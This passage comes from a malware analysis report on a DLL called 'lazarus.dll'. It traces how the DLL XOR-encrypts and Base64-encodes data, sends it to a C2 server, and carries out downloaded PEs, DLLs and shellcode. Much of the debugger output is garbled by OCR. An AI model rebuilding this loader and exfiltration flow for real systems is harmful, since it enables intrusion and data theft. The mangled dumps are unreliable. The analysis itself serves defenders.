	 69DD198 69DD198 69DD198 69DD198 69DD19C 69DD19C 	6 6A 04 8 8D 40 8 C7 45 2 51 3 6A 1F 5 50	F4 F4 80 F1 00) 00 m	oush 4 ea ecx,dword nov dword ptr oush ecx oush 1F oush eax	d ptr ss:[ebp-C]	op-C . ,F180				x8/5tatu x87SW_B x87SW_C1 x87SW_SF x87SW_SF x87SW_0	sword 0020 0 x87SW_C3 0 x87SW_C0 0 x87SW_P 0 x87SW_Z	x87SW_C2 x87SW_ES x87SW_U x87SW_D	0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
edi= <winin< th=""><th>et.InternetSe</th><th>dll:1906</th><th>(71755680) #DC 6</th><th></th><th>alledi</th><th>_</th><th>_</th><th>_</th><th>2</th><th>× -</th><th>efault (stdo L: [esp] 2: [esp+4 3: [esp+8 4: [esp+6</th><th>all) 00CC000C 0000001F 00CFFA74 00000004</th><th>•</th><th>😫 🗌 Unlod</th></winin<>	et.InternetSe	dll:1906	(71755680) #DC 6		alledi	_	_	_	2	× -	efault (stdo L: [esp] 2: [esp+4 3: [esp+8 4: [esp+6	all) 00CC000C 0000001F 00CFFA74 00000004	•	😫 🗌 Unlod
					-		db		OOCEEA18	00000	000			
Dump 1	Dump 2	Ump 3	Dump 4	U Dump 5	💮 Watch 1	[x=] Locals	2 Struct		OOCFFA1C	00000	01F			
Address H 00CFFA74 8	ex 0 F1 00 00 F	0 49 02 00	50 45 42 CD	98 FB CF 00	ASCII	st.ŭr.		^	00CFFA20 00CFFA24	00CFF 00000	A74 004			

Figure 38

The buffer (concatenation of two buffers) that was compressed earlier is encrypted using XOR (key = 32-byte array):

● 6 S9DD1 ● 6 S9DD1	1C0 88 C1 1C2 83 E0 1F 1C5 8A 80 C0 4F DF 69 1C6 30 04 31 1	<pre>mov eax,ecx and eax,1F mov al,byte ptr ds:[eax+69DF4FC0] xor byte ptr ds:[ecx+esi],al inc ecx mov eax,dword ptr ds:[edi] cmp ecx,eax jb lazarus,69DD11C0 test esi,esi je lazarus,69DD130 cmp eax,3 jb lazarus,69DD130 lea ecx,dword ptr ds:[eax+2]</pre>	Figure 39
al=0			
byte ptr [eax+69DF4F	COJ=[lazarus.69DF4FC0]=1		
.text:69DD11C5 lazar	us.dll:\$11C5 #5C5		
Dump 1 Dump 2	2 🛄 Dump 3 🛄 Dump 4 🚦	📖 Dump 5 👹 Watch 1 🛛 💷 Locals 🖉 Struct	00CFF964 0 00CFF968 0
Address Hex		ASCII	00CFF96C 0
69DF4FC0 01 02 06 04 69DF4FD0 27 14 10 23	20 05 08 11 26 16 30 21 28	29 03 13&.0!()	00CFF974 0

Address	He	<															ASCII
031D60E8	65	3C	06	04	10	03	08	11	00	16	30	21	94	BB	01	13	e<0!.»
031D60F8	81	A7	10	2E	15	2F	17	73	07	70	12	18	5C	09	55	22	.§/.s.p\.U"
031D6108	6E	02	71	04	AO	76	08	31	26	5F	30	71	28	01	21	50	n.q. v.1&_0q(.!P
031D6118	27	6C	7E	23	73	25	7B	43	07	99	67	18	40	09	50	22	'l~#s%{Cg.@.P"
031D6128	75	02	2A	43	21	49	09	DD	27	1A	39	21	60	29	3F	60	u.*C!I.Y'.9!`)?`
031D6138	36	14	ЗE	03	15	6B	17	1A	6A	19	77	0D	32	1B	1F	02	6.>kj.w.2
031D6148	07	38	06	02	64	05	4D	11	26	45	30	6A	28	7D	03	5C	.8d.M.&EOj(}.\
031D6158	76	14	7F	0E	15	17	17	55	34	19	69	49	67	09	64	6D	VU4. iIg. dm Liguro 40
031D6168	05	5D	56	04	57	6C	08	46	47	43	30	26	51	2B	30	7D	.]v.wl.FGC0&Q+0} FIgure 40
031D6178	25	B5	43	23	84	43	4A	26	9C	61	12	15	23	56	32	1D	%µC#.CJ&.a#V2.
031D6188	45	02	91	57	55	07	27	74	26	57	46	23	2D	28	3C	32	EWU.'t&WF#-(<2
031D6198	B8	25	04	23	2C	A5	5 E	0A	87	1A	24	18	0A	BC	B5	21	.%.#,¥^\$¼µ!
031D61A8	35	80	05	36	AO	02	8B	3E	68	96	4F	8B	4C	AB	79	47	56>h.O.L«yG
031D61B8	A7	5 B	60	89	6A	6D	97	ЗC	AD	7B	90	77	56	8F	17	47	§[.jm.<.{.wVG
031D61C8	81	A7	44	84	A1	DF	47	95	7C	75	BO	0E	AB	03	4A	93	.§D.ißG.u°.«.J.
031D61D8	42	8D	36	88	96	05	94	F8	55	99	08	GD	BO	DF	5F	A2	B.6ØUm°B_¢
031D61E8	DC	88	26	84	93	6B	88	B1	44	16	5C	A1	0C	F3	67	85	U.&k.±D.\i.óg.
031D61F8	07	7A	50	2E	56	34	40	E4	16	DA	5F	A5	F3	56	5E	E2	.zP.V4@ä.Ú_¥óV^â
The encr	ypt	ed	buf	fer	fro	m a	abc	ve	is (enc	:od	ed	usi	ng	Ва	see	64:

-4	**	
text:69DD1222		
.text:69DD1222 loc 69D	01222:	
.text:69DD1222 movzx	eax, byte ptr [ebx-2]	
.text:69DD1226 lea	ebx, [ebx+3]	
.text:69DD1229 shr	eax, 2	
.text:69DD122C add	esi, 3	
text:69DD122F movzx	eax, ds:byte_69DF4FE0[eax]	
text:69DD1236 mov	[edx], al	
text:69DD1238 movzx	ecx, byte ptr [ebx-5]	
text:69DD123C movzx	eax, byte ptr [ebx-4]	
text:69DD1240 and	ecx, 3	
text:69DD1243 shr	eax, 4	
text:69DD1246 sh1	ecx, 4	
text:69DD1249 or	ecx, eax	
text:69DD124B movzx	eax, ds:byte_69DF4FE0[ecx]	
text:69DD1252 MOV	[edx+1], di	Figure 41
text:69DD1255 mov2x	eax byte ptr [ebx-4]	
text:69DD1259 mov2x	ecv OFh	
text:69DD1260 shr	eax. 6	
text:69DD1263 shl	ecy 2	
text:69DD1266 or	ecx, eax	
.text:69DD1268 movzx	eax, ds:byte 69DF4FE0[ecx]	
.text:69DD126F mov	[edx+2], al	
.text:69DD1272 movzx	eax, byte ptr [ebx-3]	
.text:69DD1276 and	eax, 3Fh	
.text:69DD1279 movzx	eax, ds:byte_69DF4FE0[eax]	
.text:69DD1280 mov	[edx+3], al	
.text:69DD1283 add	edx, 4	
.text:69DD1286 mov	eax, [edi]	
.text:69DD1288 add	eax, 0FFFFFFEh	
.text:69DD128B cmp	esi, eax	
.text:69DD128D jb	short loc_69DD1222	
	J _	1
ddress Hex	42 77 44 42 42 45 41 46 64	ASCII 41. 68. ZTWGRBWDCREAFIAN
31DD140 6C 4C 73 42 45	34 47 6E 45 43 34 56 4C 78	64 7A ILSBE4GnEC4VLxdz
31DD150 42 33 41 53 47	46 77 4A 56 53 4A 75 41 6E	45 45 B3ASGFwJVSJUANEE
31DD160 6F 48 59 49 40 31DD170 4A 32 78 28 49	33 4D 6C 65 30 4D 48 6D 57	63 59 J2x+I3MleOMHmWCY
31DD180 51 41 6C 51 49	6E 55 43 4B 6B 4D 68 53 51	GE 64 QAlQINUCKkMhSQnd
31DD190 4A 78 6F 35 49 31DD140 46 57 73 58 47	57 41 70 50 32 41 32 46 44 60 65 54 64 77 30 79 47 78	34 44 JX05IWAPP2A2FD4D 38 43 EWSXGmoZdw0VGX8C
31DD1B0 42 7A 67 47 41	6D 51 46 54 52 45 6D 52 54	42 71 BZGGAMQFTREMRTBQ Figure 42
31DD1C0 4B 48 30 44 58	48 59 55 66 77 34 56 46 78	64 56 KHODXHYUFw4VFxdV
31DD1E0 56 32 77 49 52	6B 64 44 4D 43 5A 52 4B 7A	42 39 V2wIRkdDMCZRKzB9
31DD1F0 4A 62 56 44 49	34 52 44 53 69 61 63 59 52	49 56 JbvDI4RDSiacYRIV
31DD200 49 31 59 79 48 31DD210 44 6C 64 47 49	55 55 43 68 56 64 56 42 79 79 30 6F 50 44 48 34 44 51	64 30 I1YYHUUCKVdVByd0 51 64 JldGTv0oPDK41001
31DD220 4C 4B 56 65 43	6F 63 61 4A 42 67 4B 76 4C	55 68 LKVeCocaJBgKvLUh
31DD230 4E 59 41 46 4E	71 41 43 69 7A 35 6F 6C 6B	2B 4C NYAFNQACIZ501k+L
hinary constructs th	a following parameters "sea	$arch=V \cap IP \cap IP \& a = 6128 \& a = < Base 61 a proded buffer>".$
	e following parameters sea	alcii-TOIFOOFaei-0120a0q->Dase04-encoded builei>.
ddress Hex		ASCII
31E24A0 73 65 61 72 63 31E24B0 69 3D 36 31 32	38 26 6F 71 3D 5A 54 77 47	42 42 1=6128&00=ZTWGBB
31E24C0 77 44 43 42 45	41 46 6A 41 68 6C 4C 73 42	45 34 WDCBEAFjAhlLsBE4
31E24D0 47 6E 45 43 34 31E24E0 77 4A 56 53 44	56 4C 78 64 7A 42 33 41 53 75 41 6F 45 45 6F 48 59 49	47 46 GREC4VLXdZB3ASGF 4D 53 WIVSIUAREFOHYTMS
31E24F0 5A 66 4D 48 45	6F 41 53 46 51 4A 32 78 2B	49 33 ZfMHEoASFQJ2x+I3
31E2500 4D 6C 65 30 4D	48 6D 57 63 59 51 41 6C 51	49 GE MIEOMHMWCYQAIQIN
31E2520 41 70 50 32 41	32 46 44 34 44 46 57 73 58	47 6D App2A2FD4DFWsXgm Figure 43
31E2530 6F 5A 64 77 30	79 47 78 38 43 42 7A 67 47	41 GD oZdw0yGx8CBzgGAm
31E2540 51 46 54 52 45 31E2550 59 55 66 77 34	56 46 78 64 56 4F 42 6C 70	53 57 YUFW4VFxdVNBlpSW
31E2560 63 4A 5A 47 30	46 58 56 59 45 56 32 77 49	52 6B CJZGOFXVYEV2wIRk
31E2570 64 44 4D 43 5A	52 4B 7A 42 39 4A 62 56 44	49 34 dDMCZRKZB9JbVDI4

 03122580
 52
 44
 53
 69
 61
 63
 55
 24
 53
 69
 61
 63
 55
 43
 64
 64
 74
 79
 UCkvdbyd001dGly
 03
 03
 03
 05
 54
 48
 56
 64
 64
 74
 79
 UCkvdbyd001dGly
 03
 03
 05
 04
 48
 76
 46
 64
 74
 79
 UCkvdbyd001dGly
 03
 03
 16
 50
 44
 48
 56
 65
 43
 66
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00

	 69DD1A7F 69DD1A84 69DD1A86 69DD1A87 	68 00 6A FF 56 FF 77	00 00 A0	P P P P	ush A0000000 ush FFFFFFF ush esi ush dword pt	r ds:[edi+	8]			x x x	875W_C1 0 x875W_ 875W_SF 0 x875W_ 875W_0 0 x875W_	CO 0 x875W P 1 x875W Z 0 x875W	N_ES 0 N_U 0 N_D 0
dword ptr	69001A8A	FF 15	78 F2 DE 6	9 HeadersW>]=<	all dword pt wininet.Http	r ds:[<&Ht AddRequest	tpAddRequestHe	adersw>]	>	De 1: 2: 3: 4:	fault (stdcal) [esp] 00CC000C [esp+4] 031D60E [esp+8] FFFFFF [esp+C] A000000	8 L"User-Age F O	▼ 5 💭 Unloc nt: Mozilla/4.
The second			(iii) p	dill a set	Mar and a	In the set	6)	00CF	FOE4 0	00000	x		
and nump 1	Uump 2	Uump 3	Uump 4	Uump 5	Watch 1	IX=I Locals	@ Struct	OOCF	FOE8 0	31D60	E8 L"User-Agent:	Mozilla/4.0	(compatible; !
Address H	ex	00.73.00	00 41 00	CT 00 CT 00	ASCII			^ 00CF	FOEC F	00000	FF 00		

HttpSendRequestW is used to exfiltrate data to the C2 server:

69001818 57 69001819 FF 75 AC 69001810 6A 00 69001812 6A 00 69001820 FF 76 08 69001820 FF 76 08 69001828 FF 15 90 F2 DE 69 dword ptr [690EF290 <lazarus.&httpsendrequestw>]=<write< td=""></write<></lazarus.&httpsendrequestw>	push edi push doord ptr ss:[ebp-54] push 0 push dword ptr ds:[esi+8] call dword ptr ds:[-&HttpSendRequestw>] inet.HttpSendRequestw>	x875w_B 0 x875w_C3 0 x875w_C2 0 x875w_C1 0 x875w_C0 0 x875w_E5 0 x875w_D5 0 x875w_P 1 x875w_U 0 x875w_0 0 x875w_Z 0 x875w_D 0 Default (stdcall) ▼ 5 ♀ Unlock 1: [esp] 00CC000C 2: [esp+4] 00000000 3: [esp+4] 00000000
.text:69DD1B23]azarus.d]]:\$1B23 #F23		4: [esp+c] 031224A0
Ump 1 Ump 2 Ump 3 Ump 4 Um Dump 4	00CFF90 00CFF90 00CFF90	0 00CC000C 4 00000000
Address Hex 031E24A0 73 65 61 72 63 68 30 59 4F 49 50 4F 55 50 2	ASCII 00CFF90 00CFF90 00CFF90	8 0000000 C 031E24A0

Figure 45

It's worth mentioning that all C2 servers were down during our analysis. We've emulated network connections using FakeNet.

The size of the C2 response is retrieved by calling the HttpQueryInfoW routine (0x5 = HTTP_QUERY_CONTENT_LENGTH):

	 69DD1B31 69DD1B33 69DD1B36 69DD1B37 69DD1B37 69DD1B38 69DD1B38 69DD1B38 69DD1B38 	6A 00 8D 45 50 8D 45 50 6A 05 FF 76	88 BC		ish 0 ea eax,dword ish eax ea eax,dword ish eax ish 5 ish dword pt	ptr ss:[eb ptr ss:[eb ds:[esi+a	p-48) p-44)]			3	x87Statu x87SW_B x87SW_C1 x87SW_SF x87SW_0	sword 0020 0 x875w_ 0 x875w_ 0 x875w_ 0 x875w_ 0 x875w_	C3 0 C0 0 P 1 Z 0	x87SW_C2 x87SW_ES x87SW_U x87SW_D	0 0 0 0
dword ptr [69DEF29C <1az B40 lazarus.	2arus.&Http 111:\$1840 #	QueryInfow>]= <wininet.h< th=""><th>ittpQueryInf</th><th>ow></th><th>puer yrm ow</th><th></th><th>3</th><th>D 1 2 3 4</th><th>lefault (stdo L: [esp] 2: [esp+4 3: [esp+4 L: [esp+6</th><th>al) 00CC000C 4] 00000005 3] 00CFF934 5] 00CFF930</th><th></th><th>▼ 5</th><th>Unlock</th></wininet.h<>	ittpQueryInf	ow>	puer yrm ow		3	D 1 2 3 4	lefault (stdo L: [esp] 2: [esp+4 3: [esp+4 L: [esp+6	al) 00CC000C 4] 00000005 3] 00CFF934 5] 00CFF930		▼ 5	Unlock
Dump 1	Ump 2	Dump 3	Ump 4	Dump 5	🥘 Watch 1	(x=) Locals	2 Struct		00CFF900	000000	00C 005				
Address He 00CFF934 00 Figure 46	x 00 00 00 00 00 00 00	00 00 00	00 00 00 00	00 00 00 00	ASCII			^	00CFF908 00CFF90C 00CFF910	00CFF 00CFF 000000	934 930 000				

The binary copies the C2 response to a buffer via a function call to InternetReadFile:

ETD	 690D187 690D187 690D187 690D187 690D187 690D187 690D187 	5 50 6 8B 4 9 56 A 57 8 FF 7	5 A8 0 08 5 7C F2 DE 6		oush eax oov eax,dword oush esi oush edi oush dword pt all dword pt	ptr ss:[et	pp-58	1			x875W_B 0 x875W_C1 0 x875W_SF 0 x875W_0 0	x875W_C3 x875W_C0 x875W_P x875W_Z	0 x 0 x 1 x 0 x	87 SW_C2 87 SW_ES 87 SW_U 87 SW_D	0
dword ptr	• < [69DEF27C <1 LB7E lazarus	azarus.&Ini .dll:\$187E	ernetReadFil #F7E	e>]= <winine< th=""><th>t.InternetRe</th><th>adFile></th><th></th><th></th><th>3</th><th></th><th>lefault (stdcall) [: [esp] 00 2: [esp+4] 3: [esp+8] 4: [esp+C]</th><th>CC000C 05113490 000005A6 00CFF92C</th><th></th><th>• 5</th><th>👤 🗌 Unloc</th></winine<>	t.InternetRe	adFile>			3		lefault (stdcall) [: [esp] 00 2: [esp+4] 3: [esp+8] 4: [esp+C]	CC000C 05113490 000005A6 00CFF92C		• 5	👤 🗌 Unloc
Dump 1	Ump 2	Dump 3	Ump 4	Dump 5	🛞 Watch 1	[x=] Locals	3 Struct	0	0CFF904 0CFF908	00CC0	00C 490				
Address H 05113490 0	ex 0 00 00 00 00	0 00 00 00	00 00 00 00	00 00 00 00	ASCII			^ 00	OCFF90C OCFF910	00000 00CFF	5A6 92C				

Figure 47

The malicious process parses the data between the "<html></html>" and "<div></div>" tags:

	🗾 🛃 🖼	
	.text:69DD1EA4	
	.text:69DD1EA4 loc_69DD1EA4	A4:
	.text:69DD1EA4 push ecx	x
	.text:69DD1EA5 push off:	fset aDivDiv ; " <div></div> "
	.text:69DD1EAA lea ecx	x, [ebp+var_C0]
	.text:69DD1EB0 call sub	b_69DD26F0
	.text:69DD1EB5 test eax	ix, eax
	.text:69DD1EB7 jns sho	ort loc_69DD1ED9
	*	Figure 48
.text:69DD1EB9 push	ecx	.text:69DD1ED9
.text:69DD1EBA push	offset aHtmlHtml ; " <html><</html>	" .text:69DD1ED9 loc_69DD1ED9:
.text:69DD1EBF lea	ecx, [ebp+var_C0]	.text:69DD1ED9 xor edi, edi
.text:69DD1EC5 call	sub_69DD26F0	
.text:69DD1ECA xor	edi, edi	
.text:69DD1ECC mov	ecx, 1	
.text:69DD1ED1 cmp	eax, 0FFFFFFFh	
.text:69DD1ED4 cmovnz	edi, ecx	
.text:69DD1ED7 jmp	short loc_69DD1EDB	

The malware performs a similar POST request with different parameter values "search=DOWPANY&ei=6128":

Address	ex Dump 2	Dump 3	Dump 4	Dump 5	Watch 1	[x=] Locals	Struct	^	00CFF900 0 00CFF904 0 00CFF908 0	0000000 0000000 0000000 5118048	C 0 0 	
dword ptr	690D1820 650D1828 < (690EF290 <1a; 1823 1az arus.	FF 76 FF 15 zarus.&Http d]]:\$1823 #	08 90 F2 DE 69 95endRequest F23	2 W>]= <winine< th=""><th>ush dword pt all dword pt t.HttpSendRe</th><th>r ds:[esi+8 r ds:[<&Htt questW></th><th>] pSendRequest</th><th>¥>]</th><th>></th><th>> Defai</th><th>ault (stdcall)</th><th>ock</th></winine<>	ush dword pt all dword pt t.HttpSendRe	r ds:[esi+8 r ds:[<&Htt questW>] pSendRequest	¥>]	>	> Defai	ault (stdcall)	ock
	 69DD1818 69DD1819 69DD1810 69DD1810 	57 FF 75 6A 00 6A 00	AC	p p p	ush edi ush dword pt ush 0 ush 0	r ss: <mark>[</mark> ebp-5	40			×87 ×87 ×87	75W_B 0 x875W_C3 0 x875W_C2 0 75W_C1 0 x875W_C0 0 x875W_E5 0 75W_SF 0 x875W_P 1 x875W_U 0 75W_0 0 x875W_7 0 x875W_D 0	

The C2 response is decoded using Base64, and then XOR decrypted. The malware implements 4 different actions that will be explained based on the EAX register value:



EAX = 0 – load a PE into the current process memory

GetNativeSystemInfo is utilized to retrieve information about the current system:

• 6F7A3168 50	push eax		
	1 /B 6F [Call dword ptr ds: [cadetNativesystemIntos]	>	Default (stdcali) - 5 🗘 Unlock
<pre>dword ptr [6F7BF130 <lazarus.&getnativ .text:6F7A3169 lazarus.dll:\$3169 #2569</lazarus.&getnativ </pre>	1: [esp] 0103F660 2: [esp+4] 0103F7C0 3: [esp+8] 00CC0004 4: [esp+C] 033BE618 L"\"C:\\Users\\REM\\Deskt		
	a alle e Manuel a late e Marie	0103F618 010	3F660

Figure 51

The DLL performs multiple VirtualAlloc function calls that will allocate memory for the new executable (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x4 = PAGE_READWRITE):

	 6F7A319 6F7A319 6F7A319 6F7A319 6F7A319 	4 6A 04 6 68 00 8 57 C FF 73	30 00 00 34		ush 4 ush 3000 ush edi ush dword pt	r ds:[eb	x+34]				x875W_B 0 x875W_C3 x875W_C1 0 x875W_C0 x875W_SF 0 x875W_P	0 x875W_C2 0 x875W_E5 1 x875W_U	0
esi= <kerne< th=""><th>132.VirtualAl</th><th>dll:\$319F</th><th>6870) #259F</th><th>1</th><th>dil esi</th><th></th><th></th><th>_</th><th>_</th><th>></th><th>Default (stdcall) 1: [esp] 009C0000 run 2: [esp+4] 00014000 3: [esp+8] 00003000 4: [esp+C] 0000004</th><th>✓ 000000000000000000000000000000000000</th><th>Unlod</th></kerne<>	132.VirtualAl	dll:\$319F	6870) #259F	1	dil esi			_	_	>	Default (stdcall) 1: [esp] 009C0000 run 2: [esp+4] 00014000 3: [esp+8] 00003000 4: [esp+C] 0000004	✓ 000000000000000000000000000000000000	Unlod
Dump 1	Ump 2	Dump 3	Dump 4	Dump 5	💮 Watch 1	[x=] Loca	ls 🖉 Struct		0103F60C 0103F610	009C	0000 rund1132.009C000 4000	0	
Address H	ex	2 00 00 001	04 00 00 00	EE EE 00 00	ASCII	00		^	0103F614 0103F618	0000	3000 0004		

Figure 52

The malware changes the memory protection depending on the segment (for example, the code segment's memory protection is set to 0x20 = **PAGE_EXECUTE_READ**):

	sh eax / eax,ecx eax,200 d es1,4000000 ove eax,ecx sh eax sh edv sh dword ptr ds:[edx] d wword ptr ds:[edx] d word ptr ds:[edx] //irtualProtect>]	x87TW_6 3 (Empty) x87TW_7 3 (Empty) x87TW_6 3 (Empty) x87TW_7 3 (Empty) x87Statusword 0020 x87SW_8 0 x87SW_C3 0 x87SW_C2 0 x87SW_C1 0 x87SW_C0 0 x87SW_E5 0 x87SW_5F 0 x87SW_0 1 x87SW_U 0 Unlock 1 [esp] 05351000 1: [esp105351000 2: [esp+4] 00007000 3: [esp+4] 0000700 3: [esp+4] 0000700
.text:6F7A2EA8 lazarus.dll:\$2EA8 #22A8		The state of the s
Ump 1 Ump 2 Ump 3 Ump 4 Ump 5	Watch 1 Ix=I Locals Watch 1 Ix=I Locals Struct 0103F5F4 01 0103F5F4 01 0103F5F8 01 0103F58 01 01005F58 01 01005F58 01 0103F58 01 0103F58 0	5351000 0007000
Address Hex	ASCII 0103F5FC 00 0103F600 00	0000020 103F60C

After a few more operations, the process passes the control flow to the new PE.

EAX = 1 – download and execute a .exe file

The binary gets the AppData folder path by calling the SHGetFolderPathW routine (0x1c = CSIDL_LOCAL_APPDATA):

1.		56 6A 00 6A 10 6A 10 6A 00 FF 15	00 F2 DE 6		sh esi sh 0 sh 0 sh 1C sh 0 11 dword pt	tr ds:[<&SH	GetFolderPath	N>]		×87 ×87 ×87 ×87	SW_B 0 SW_C1 0 SW_SF 0 SW_O 0	x875W_C3 x875W_C0 x875W_P x875W_Z	0 0 1 0	x875W_C2 x875W_E5 x875W_U x875W_D	0 0 0
dword ptr	[69DEF200 <laz< td=""><td>arus.&SHGe</td><td>etFolderPath 7183</td><td>W>]=<shel132< td=""><td>.SHGetFolde</td><td>erPathw></td><td></td><td></td><td></td><td>1: 2: 3: 4:</td><td>[esp] 00 [esp+4] [esp+8] [esp+C]</td><td>000000 0000001C 00000000 00000000</td><td></td><td></td><td></td></shel132<></td></laz<>	arus.&SHGe	etFolderPath 7183	W>]= <shel132< td=""><td>.SHGetFolde</td><td>erPathw></td><td></td><td></td><td></td><td>1: 2: 3: 4:</td><td>[esp] 00 [esp+4] [esp+8] [esp+C]</td><td>000000 0000001C 00000000 00000000</td><td></td><td></td><td></td></shel132<>	.SHGetFolde	erPathw>				1: 2: 3: 4:	[esp] 00 [esp+4] [esp+8] [esp+C]	000000 0000001C 00000000 00000000			
Dump 1	Ump 2	Dump 3	Dump 4	Dump 5	🧶 Watch 1	[x=] Locals	2 Struct	0	0CFF84C 00 0CFF850 00	000000	2				
Address H 05128FC8 0	ex 0 00 00 00 00	00 00 00	00 00 00 00	00 00 00 00	ASCII			^ 0	0CFF854 00 0CFF858 00 0CFF85C 05	000000 000000 128FC8					

Figure 54

GetTickCount is used to extract the number of milliseconds that have elapsed since the system was started:

 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 Image: state
 <t

	2 6A 00 4 68 80 00 00 00 9 6A 02 8 6A 00 0 6A 01 F 68 00 00 040 4 57 F 15 10 F1 DE 69 FF 15 10 F1 DE 69	push 0 push 80 push 2 push 0 push 1 push 40000000 push edi call dword ptr ds:[<&createFilew>]	x87StatusWord 0020 x87SW_B 0 x87SW_C3 0 x87SW_C2 x87SW_C1 0 x87SW_C0 0 x87SW_UES x87SW_SF 0 x87SW_P 1 x87SW_U x87SW_0 0 x87SW_P 1 x87SW_D befault (stdcall)	0 0 0 0
dword ptr [69DEF110 <]. .text:69DD7E15]azarus	azarus.&CreateFilew>]= <kernel3; .dll:\$7E15 #7215</kernel3; 	.CreateFileW>	2: [esp+4] 4000000 3: [esp+8] 00000001 4: [esp+c] 00000001	
Dump 1 Dump 2	Dump 3 💭 Dump 4	5 👹 Watch 1 🕅 🖉 Struct	00CFF844 05112988 L"C:\\Users\\\AppData\\Loo 00CFF848 40000000	cal//~DMF24
Address Hex 05112986 43 00 3A 00 50 05112908 44 00 61 00 7 05112908 44 00 61 00 7 05112908 61 00 6C 00 5 05112908 44 00 61 00 7 05112908 44 00 62 00 7 05112908 44 00 60 00 7	$ \begin{array}{cccccccccccccccccccccccccccccccccccc$	ASCII 00 (,,,,,,, .	OOCFF84C 00000001 OOCFF858 0000000 OOCFF858 0000000 OOCFF858 0000000 OOCFF858 0000000 OOCFF850 0000000 OOCFF860 0000016 OOCFF860 00CFF810 OOCFF864 00CFF810 OOCFF836 OOCFF836 OOCFF836 OOCFF830 OOCFF830 OOCFF830 OOCFF830 OOCFF830 OOCFF830 OOO0001	

Figure 56

The newly created file is populated with content that is supposed to be transmitted by the C2 server:

dword ptr .text:69DD		6A 00 8D 44 C7 44 50 FF 75 FF 74 51 FF 15 arus.&Wri1	24 28 24 28 00 00 0C 24 28 <u>14 F1 DE 69</u> teF1]e>]= <ke< th=""><th>2 00 00 m</th><th>ush 0 ea eax,dword ov dword ptr ush eax ush dword pt ush dword pt ush ecx all dword pt eFile></th><th>ptr ss:[esp+20 ss:[esp+20 r ss:[esp+20 r ss:[esp+2 r ss:[esp+2 r ds:[<≀</th><th>:p+28] .0 </th><th></th><th>></th><th>×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×</th><th>77 StatusWor 77 SW_B 0 77 SW_C1 0 77 SW_SF 0 77 SW_O 0 17 SW_O 0 17 SW_O 0 17 SW_O 0 17 SW_O 0 17 SW_O 0 17 Status 17 Sta</th><th>d 0020 x875W_C3 x875W_C0 x875W_P x875W_Z 00448 0CFF810 000040 0CFF884</th><th>0 x875W_C2 0 x875W_E5 1 x875W_U 0 x875W_D</th><th>0 0 0 5 🗣 🗌 Unlock</th></ke<>	2 00 00 m	ush 0 ea eax,dword ov dword ptr ush eax ush dword pt ush dword pt ush ecx all dword pt eFile>	ptr ss:[esp+20 ss:[esp+20 r ss:[esp+20 r ss:[esp+2 r ss:[esp+2 r ds:[<≀	:p+28] .0 		>	×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×8 ×	77 StatusWor 77 SW_B 0 77 SW_C1 0 77 SW_SF 0 77 SW_O 0 17 SW_O 0 17 SW_O 0 17 SW_O 0 17 SW_O 0 17 SW_O 0 17 Status 17 Sta	d 0020 x875W_C3 x875W_C0 x875W_P x875W_Z 00448 0CFF810 000040 0CFF884	0 x875W_C2 0 x875W_E5 1 x875W_U 0 x875W_D	0 0 0 5 🗣 🗌 Unlock
Dump 1	Dump 2	Dump 3	Dump 4	Dump 5	🛞 Watch 1	[x=] Locals	2 Struct	0	0CFF84C	0000044	8			
Address H	ex 1 41 41 41 41 41	41 41 41	41 41 41 41	41 41 41 41	ASCII			^ 0	0CFF854 0CFF858 0CFF85C	0000004 00CFF88 0000000	0 14 00			

Figure 57

The malicious binary executes the file by calling the CreateProcessW API:

II 🛃 🖼			
.text:69DD7F06		52.85.01	
.text:69DD7F06	loc_69DD	D7F06:	
.text:69DD7F06	lea	eax, [esp+90h+ProcessInformation]	
.text:69DD7F0A	push	eax ; lpProcessInformation	
.text:69DD7F0B	lea	eax, [esp+94h+StartupInfo]	
.text:69DD7F0F	push	eax ; lpStartupInfo	
.text:69DD7F10	push	<pre>0 ; lpCurrentDirectory</pre>	
.text:69DD7F12	push	0 ; lpEnvironment	
.text:69DD7F14	push	0 ; dwCreationFlags	
.text:69DD7F16	push	0 ; bInheritHandles	iguro 58
.text:69DD7F18	push	<pre>0 ; lpThreadAttributes</pre>	igure 50
.text:69DD7F1A	push	0 ; lpProcessAttributes	
.text:69DD7F1C	push	esi ; lpCommandLine	
.text:69DD7F1D	push	0 ; lpApplicationName	
.text:69DD7F1F	call	ds:CreateProcessW	
.text:69DD7F25	mov	[esp+90h+var 80], eax	
.text:69DD7F29	call	ds:GetLastError	
.text:69DD7F2F	mov	ecx, [esp+90h+var 78]	
.text:69DD7F33	mov	[ecx], eax	
.text:69DD7F35	test	esi, esi	
.text:69DD7F37	jz	short loc_69DD7F50	

EAX = 2 – download and execute a .dll file

The execution flow is similar to the above case, and we only highlight the difference. Rundll32.exe is used to execute the DLL file (an export function can also be specified in the command line):



Figure 59

EAX = 3 – copy and execute shellcode

The process allocates memory using the VirtualAlloc routine (0x1000 = MEM_COMMIT, 0x40 = PAGE_EXECUTE_READWRITE):

